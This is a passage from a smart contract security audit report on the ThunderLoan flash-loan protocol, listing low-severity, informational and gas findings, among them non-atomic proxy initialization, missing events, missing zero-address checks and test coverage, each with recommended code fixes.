While this issue does not affect already-initialized contracts, it introduces a critical trust assumption about the correctness of deployment scripts and operational procedures.

Impact: If initialization is not executed atomically with proxy deployment: - Administrative control may be permanently compromised. - Upgrade authority may be transferred to an attacker. - The protocol may require full redeployment. - Deployed capital or integrated systems may be affected depending on timing.

Note: This issue is classified as Low severity because it depends on deployment misconfiguration rather than a flaw in runtime contract logic. However, in practice, improper initialization has historically led to complete contract takeovers.

Recommended Mitigation: 1. Perform Atomic Initialization: Ensure the proxy constructor includes the encoded initializer call so deployment and initialization occur in the same transaction. This removes any opportunity for front-running:

```
new ERC1967Proxy(
    implementation,
    abi.encodeCall(ThunderLoan.initialize, (tswapAddress))
);
```

1. Disable Initializers on the Implementation Contract: To prevent direct initialization of the implementation contract, add the following constructor. This ensures the implementation contract itself cannot be initialized independently of the proxy:

```
constructor() {
    _disableInitializers();
}
```

1. Enforce Deployment Safeguards

- Avoid multi-transaction deployment flows.
- Audit deployment scripts to confirm atomic initialization.
- Consider adding deployment-time assertions to verify owner and critical state immediately after deployment.

[L-4] Missing critial event emissions for state changes.

Description: When the `ThunderLoan::s_flashLoanFee` and `ThunderLoanUpgraded::s_flashLoanFee` are updated, there are no events emitted.

Impact: Offchain indexers will not be able to effectively track state changes.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+     event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Emit an event when the `ThunderLoanUpgraded::s_flashLoanFee` is updated. Also, make sure custom errors have the correct contract name in the nomenclature of the error.

```
+     event FlashLoanFeeUpdated(uint256 newFee);

.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > FEE_PRECISION) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

[L-5]: Missing checks for `address(0)` when assigning values to address state variables.

Instances (1):

```
File: src/protocol/OracleUpgradeable.sol

   15:          function __Oracle_init_unchained(address
       poolFactoryAddress) internal onlyInitializing {
@> 16:         s_poolFactory = poolFactoryAddress;
    }
```

[L-6]: `public` functions not used internally could be marked `external`.

- Found in src/protocol/ThunderLoan.sol Line: 248

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/protocol/ThunderLoan.sol Line: 294

```
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 298

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
        returns (bool) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 230

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 275

```
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 279

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
        returns (bool) {
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                              | % Lines        | % Statements
    | % Branches     | % Funcs        |
| --------------------------------- | -------------- | --------------
    | -------------- | -------------- |
| src/protocol/AssetToken.sol       | 70.00% (7/10)  | 76.92% (10/13)
    | 50.00% (1/2)   | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
    | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol      | 64.52% (40/62) | 68.35% (54/79)
    | 37.50% (6/16) | 71.43% (10/14) |
```

Table: Test Coverage.

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

[I-2] Reliance on live TSwap pricing logic is difficult to accurately validate using mocked tests

Description The `OracleUpgradebale::getPriceInWeth` function retrieves a token's price in WETH by querying a TSwap pool obtained from an external factory:

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
        );
    return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

Because this logic depends on the runtime behavior of an external protocol (TSwap), accurately testing this functionality using mocked contracts can be challenging. Mock implementations may fail to replicate subtle but important behaviors of the live TSwap pools, such as pricing mechanics, rounding behavior, revert conditions, or state-dependent edge cases.

Impact: While this issue does not introduce a direct vulnerability, relying solely on mocked tests may result in: - False assumptions about TSwap's pricing behavior - Missed edge cases related to pool state, liquidity, or arithmetic precision - Reduced confidence that test results accurately reflect mainnet behavior This may increase the risk of unexpected behavior when interacting with real TSwap pools in production.

Recommendation When testing logic that relies on TSwap's pricing mechanisms, it is recommended to supplement unit tests with forked-network tests to validate behavior against the actual deployed contracts. This provides higher assurance that pricing logic behaves as expected under real-world conditions.

[I-3] `IFlashLoanReceiver` does not import `IThunderLoan`, yet `MockFlashLoanReceiver` relies on `IThunderLoan` being available through `IFlashLoanReceiver`.

Description:`IFlashLoanReceiver` does not use `IThunderLoan`; it's bad practice to edit live code for tests/mocks.

```
File: src/interfaces/IFlashLoanReceiver.sol
- import { IThunderLoan } from "./IThunderLoan.sol";
```

```
- import { IFlashLoanReceiver, IThunderLoan } from "../../src/
   interfaces/IFlashLoanReceiver.sol";
+ import {IThunderLoan } from "../../src/interfaces/IThunderLoan.sol";
```

[I-4] Custom errors and events need parameters.

```
*Instances (2)*:
```

```
    File: src/protocol/ThunderLoan.sol

-   error ThunderLoan__AlreadyAllowed();
+   error ThunderLoan__AlreadyAllowed(IERC20 token);
```

```
    File: src/protocol/ThunderLoan.sol

      function setAllowedToken(IERC20 token, bool allowed) external
          onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
-                   revert ThunderLoan__AlreadyAllowed(); // @audit
    informational: consider adding the token address to the
+                   revert ThunderLoan__AlreadyAllowed(token);
            }
```

[I-5] Natspec needs to be written for these functions.

Instances (4):

```
File: src/protocol/ThunderLoan.sol

function updateFlashLoanFee(uint256 newFee) external onlyOwner {}

function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {}

function setAllowedToken(IERC20 token, bool allowed) external onlyOwner
     returns (AssetToken) {}

File: src/protocol/AssetToken.sol

function updateExchangeRate(uint256 fee) external onlyThunderLoan {}
```

[I-6] Not using `__gap[50]` for future storage collision mitigation

[I-7] Different decimals may cause confusion in `OracleUpgradeable::getPriceInWeth`. ie: AssetToken has 18, but USDC has 6.

Gas

[G-1] Unnecessary SLOAD when logging new exchange rate

Description: In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```

[G-2] Unchanging state variables should be declared as constant or immutable

Description: State variables that are not updated following deployment should be declared constant or immutable to save gas. Instances: • `ThunderLoan::s_feePrecision` • `ThunderLoan::s_flashLoanFee`

Recommended Mitigation: Add the constant attribute to state variables that never change. Add the immutable attribute to state variables that never change or set only in the constructor.

[G-3] Using bools for storage incurs overhead.

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from ‘false’ to ‘true’, after having been ‘true’ in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

[G-4] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```